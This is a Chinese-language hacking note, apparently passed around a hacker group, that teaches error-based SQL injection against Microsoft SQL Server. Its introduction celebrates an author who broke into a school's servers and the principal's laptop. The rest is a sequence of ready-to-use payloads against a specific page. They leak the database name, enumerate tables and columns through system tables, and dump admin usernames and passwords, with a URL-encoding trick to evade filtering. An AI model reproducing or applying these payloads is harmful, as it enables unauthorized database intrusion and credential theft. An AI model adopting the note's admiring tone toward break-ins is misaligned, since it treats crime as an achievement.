这是习科核心2010年左右的笔记,习科核心里一个曾经211+985大学的大神,日遍学校所有服务器+管理员PC+校长笔记本,日过图床,网盘,桌游,网游,第一个日进习科自己服务器,给自己从论坛普通会员提升到管理员权限的大神。
(头衔真尼玛多)
这份笔记是他发在习科核心群后来辗转很多手以后,一直没有发表过的文章。
MySQL有显错注入,MSSQL也有,本文就是讲MSSQL显错注入的。
语句比较少,自己理解和套用。
sub.php?table=performance&id=12
原理和说明:可以报错的话,union用不了的都没事,下面全部就用类型转换vchar后和int比较大小报错的传统方式
【注意】如果仅仅只转换类型,不拼上一些特殊字符的话,本身为int的值,转成vchar后跟int比较大小,mssql还是会强制按照int去比较(估计就像编程中的弱类型语言,主观臆断,没有考证),这样就暴不出错了
只能二分,太慢。
以前第一次mssql注入的时候转了又转还是不行。很多情况是+号被过滤,所以此处演示的字符串连接的加号+要用url编码
id=12 and db_name()>0--
暴当前数据名zhengheng
id=12 and (select cast(count(*) as varchar(10))%2b'^' from [zhengheng]..[sysobjects] where xtype='U' and status>0)>0--
zhengheng库下的表数目
id=12 and (select top 1 name from [zhengheng]..[sysobjects] where xtype='U' and status>0 and id=1)>0--
sysobjects是系统表,结构可以查资料。
有id这一列。根据id一个个暴表名,第一个就是adminuser
id=12 and (select top 1 name from [zhengheng]..[syscolumns] where id=357576312 and colid=1)>0--
列名,colid递增一个个暴
id=12 and (select cast(count(*) as varchar(200))%2b'^' from adminuser where 1=1)>0--
记录数
id=12 and (select top 1 (cast([username] as nvarchar(100)))%2b'^'%2b(cast(password as nvarchar(100))) from adminuser where id=1)>0--
用户名密码
最后得到结果:adminuser表:admin和liying